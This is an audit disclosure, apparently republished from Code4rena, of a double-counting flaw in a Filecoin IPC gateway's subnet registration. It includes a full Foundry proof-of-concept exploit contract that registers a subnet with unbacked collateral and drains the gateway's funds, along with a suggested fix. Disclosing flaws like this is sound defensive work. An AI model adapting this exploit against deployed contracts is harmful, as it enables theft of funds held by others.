Missing value validation in cross message handler allows unbacked fund transfer
The register function in GatewayManagerFacet accepted separate genesis supply and collateral values but only checked each against the same msg.value, allowing the same funds to be counted twice. An attacker could register a subnet with inflated supply and collateral, then release funds and reclaim stake, draining the gateway.
0xastronatey Follow with sin1st3r__
Originally disclosed on Code4rena
Submitted by 0xastronatey, also found by sin1st3r__
Finding description and impact
The GatewayManagerFacet.register function does not properly validate the total Filecoin (FIL) value provided when registering a new subnet. It accepts two separate parameters – genesisCircSupply (genesis circulating supply) and collateral – and credits both to the new subnet independently against the same deposit. In the code, the subnet’s circulating supply and stake collateral are set separately without any check that their sum equals the FIL sent or available.
In GatewayManagerFacet.register(), there are two separate lock calls:
if (genesisCircSupply > 0) {
SubnetActorGetterFacet(msg.sender).supplySource().lock(genesisCircSupply);
}
if (collateral > 0) {
SubnetActorGetterFacet(msg.sender).collateralSource().lock(collateral);
}
The AssetHelper.lock() function for native assets only checks msg.value against the individual value being locked:
if (asset.kind != AssetKind.Native) {
// ERC20 handling
} else {
require(msg.value >= value, "Insufficient funds");
return value;
}
The critical issue here is that there’s no aggregate check to ensure msg.value covers both genesisCircSupply and collateral. Each lock call independently checks against the same msg.value, allowing the same funds to be counted twice.
This flaw breaks a critical invariant of the bridging protocol “the total supply of a subnet must match the total funds locked for that subnet in the gateway”.
This means a malicious actor could:
- Call
registerwithgenesisCircSupply = Xandcollateral = X. - Send only
Xinmsg.value. - Both lock calls would pass since
msg.value >= Xfor each. - The subnet would be registered with
X circulating supplyandX collateral, despite onlyXtotal funds being provided.
Proof of Concept
To run the POC below, you can paste file into the contracts/test/integration/Test.t.sol path:
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.8.23;
import "forge-std/Test.sol";
import {IntegrationTestBase} from "../IntegrationTestBase.sol";
import {SubnetID, Subnet, IPCAddress, Validator, Asset, AssetKind} from "../../contracts/structs/Subnet.sol";
import {IpcEnvelope, ParentFinality, BottomUpCheckpoint} from "../../contracts/structs/CrossNet.sol";
import {FvmAddress} from "../../contracts/structs/FvmAddress.sol";
import {SubnetIDHelper} from "../../contracts/lib/SubnetIDHelper.sol";
import {FvmAddressHelper} from "../../contracts/lib/FvmAddressHelper.sol";
import {CrossMsgHelper} from "../../contracts/lib/CrossMsgHelper.sol";
import {FilAddress} from "fevmate/contracts/utils/FilAddress.sol";
import {GatewayDiamond} from "../../contracts/GatewayDiamond.sol";
import {GatewayManagerFacet} from "../../contracts/gateway/GatewayManagerFacet.sol";
import {GatewayFacetsHelper} from "../helpers/GatewayFacetsHelper.sol";
import {ActivityHelper} from "../helpers/ActivityHelper.sol";
contract MaliciousSubnetActor {
// This function is expected by GatewayManagerFacet via the SubnetActorGetterFacet
// interface. It returns a native asset (no token address) so that AssetHelper.transferFunds
// uses sendValue.
function collateralSource() external pure returns (Asset memory) {
return Asset({kind: AssetKind.Native, tokenAddress: address(0)});
}
// Accept ETH transfers
receive() external payable {}
function supplySource() external pure returns (Asset memory) {
return Asset({kind: AssetKind.Native, tokenAddress: address(0)});
}
}
contract GatewayExploitTest is Test, IntegrationTestBase {
using SubnetIDHelper for SubnetID;
using CrossMsgHelper for IpcEnvelope;
using FvmAddressHelper for FvmAddress;
using GatewayFacetsHelper for GatewayDiamond;
function setUp() public override {
super.setUp();
}
function testGatewayDiamond_Exploit_InadequateValidation() public {
// We prefund the gateway with enough FIL
vm.deal(address(gatewayDiamond), 100 ether);
// 1. Deploy a mock subnet actor and impersonate it
address maliciousSubnet = address(new MaliciousSubnetActor());
vm.startPrank(maliciousSubnet);
vm.deal(maliciousSubnet, 10 ether);
// 2. Call register with genesisCircSupply=10, collateral=10
// but pass only 10 FIL in msg.value
gatewayDiamond.manager().register{value: 10 ether}(10 ether, 10 ether);
// Look up the newly created subnet
SubnetID memory maliciousSubnetId =
gatewayDiamond.getter().getNetworkName().createSubnetId(maliciousSubnet);
(bool found, Subnet memory info) = gatewayDiamond.getter().getSubnet(maliciousSubnetId);
require(found, "Subnet not found after register");
require(info.circSupply == 10 ether, "Wrong circSupply recorded");
require(info.stake == 10 ether, "Wrong stake recorded");
// The diamond itself only got 10 FIL from this register call
// but claims it has locked 20 FIL (10 supply + 10 collateral).
require(address(gatewayDiamond).balance == 10 ether + 100 ether, // includes our prefund
"Diamond did not hold the expected total after register"
);
vm.stopPrank(); // done with maliciousSubnet
// 3. Bottom up checkpoint that releases 10 minted tokens
// to actor, after committing a new parent finality
// Because setUp() or another test likely already commits finality
// at height=1, we do it at height=2 to avoid "ParentFinalityAlreadyCommitted()".
vm.startPrank(FilAddress.SYSTEM_ACTOR);
ParentFinality memory parentFinality = ParentFinality({
height: 2,
blockHash: bytes32(0)
});
gatewayDiamond.topDownFinalizer().commitParentFinality(parentFinality);
vm.stopPrank();
// Now the malicious subnet proposes to release 10 minted tokens
address attacker = address(1111);
IpcEnvelope[] memory releaseMsgs = new IpcEnvelope[](1);
releaseMsgs[0] = CrossMsgHelper.createReleaseMsg({
subnet: maliciousSubnetId,
signer: maliciousSubnet,
to: FvmAddressHelper.from(attacker),
value: 10 ether
});
BottomUpCheckpoint memory c = BottomUpCheckpoint({
subnetID: maliciousSubnetId,
blockHeight: 100, // arbitrary
blockHash: keccak256("exploit-demo"),
nextConfigurationNumber: 1,
msgs: releaseMsgs,
activity: ActivityHelper.newCompressedActivityRollup(0, 0, bytes32(0))
});
// Child subnet impersonates itself calling commitCheckpoint
vm.startPrank(maliciousSubnet);
gatewayDiamond.checkpointer().commitCheckpoint(c);
vm.stopPrank();
// The diamond sees circSupply=10, subtracts it -> 0,
// and transfers 10 FIL to actor.
// So the diamond's new balance is (100 + 10) - 10 = 100 ether
require(address(gatewayDiamond).balance == 100 ether, "Diamond balance mismatch after release");
require(attacker.balance == 10 ether, "Attacker did not receive the 10 FIL release");
// 4. Kill the subnet to reclaim stake
// circSupply=0 => the gateway allows kill() -> tries paying stake=10
// Now that we prefunded the gateway with 100 FIL, it *can* actually pay it.
vm.startPrank(maliciousSubnet);
gatewayDiamond.manager().kill();
vm.stopPrank();
// The diamond has now truly lost an extra 10 FIL to the actor,
// because it believed stake was fully covered.
// Diamond's final balance is 90.
require(address(gatewayDiamond).balance == 90 ether, "Diamond still had to pay out the stake; mismatch?");
(bool stillExists, Subnet memory postKill) = gatewayDiamond.getter().getSubnet(maliciousSubnetId);
require(!stillExists, "Subnet record should be removed after kill");
require(postKill.stake == 0, "Stake should be reset to 0 in storage");
}
}
Recommended mitigation steps
To fix this issue, the contract should enforce that the FIL value committed covers both the genesis supply and collateral. In practice, this means adding a validation in GatewayManagerFacet.register such a sum check on input values:
Require that genesisCircSupply + collateral does not exceed (and ideally equals) the actual FIL provided by the caller. For example, if the design expects the SubnetActor to send msg.value, use require(msg.value == genesisCircSupply + collateral, "Incorrect deposit").
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The register function lacked an aggregate check that msg.value covers the sum of genesisCircSupply and collateral, so each lock call validated against the same msg.value independently.
Impact
A malicious actor could register a subnet with unbacked supply and collateral, then release funds and reclaim stake, draining the gateway's balance.
What the attacker needed
Ability to deploy a malicious subnet actor contract; gateway holds sufficient FIL balance
The fix
The contract should enforce that msg.value equals the sum of genesisCircSupply and collateral.
How it was found
- Deploy a malicious subnet actor contract that returns native asset for supplySource and collateralSource.
- Call register with genesisCircSupply and collateral both equal to X, sending only X in msg.value.
- Commit a parent finality and then a bottom-up checkpoint releasing X to an attacker address.
- Call kill to reclaim the stake, causing the gateway to pay out an extra X.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A smart contract function that registers a new subnet took two numbers (genesis supply and collateral) and checked each one separately against the money sent, instead of checking their total. This meant someone could send money once but have it counted twice, letting them later withdraw more than they put in.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.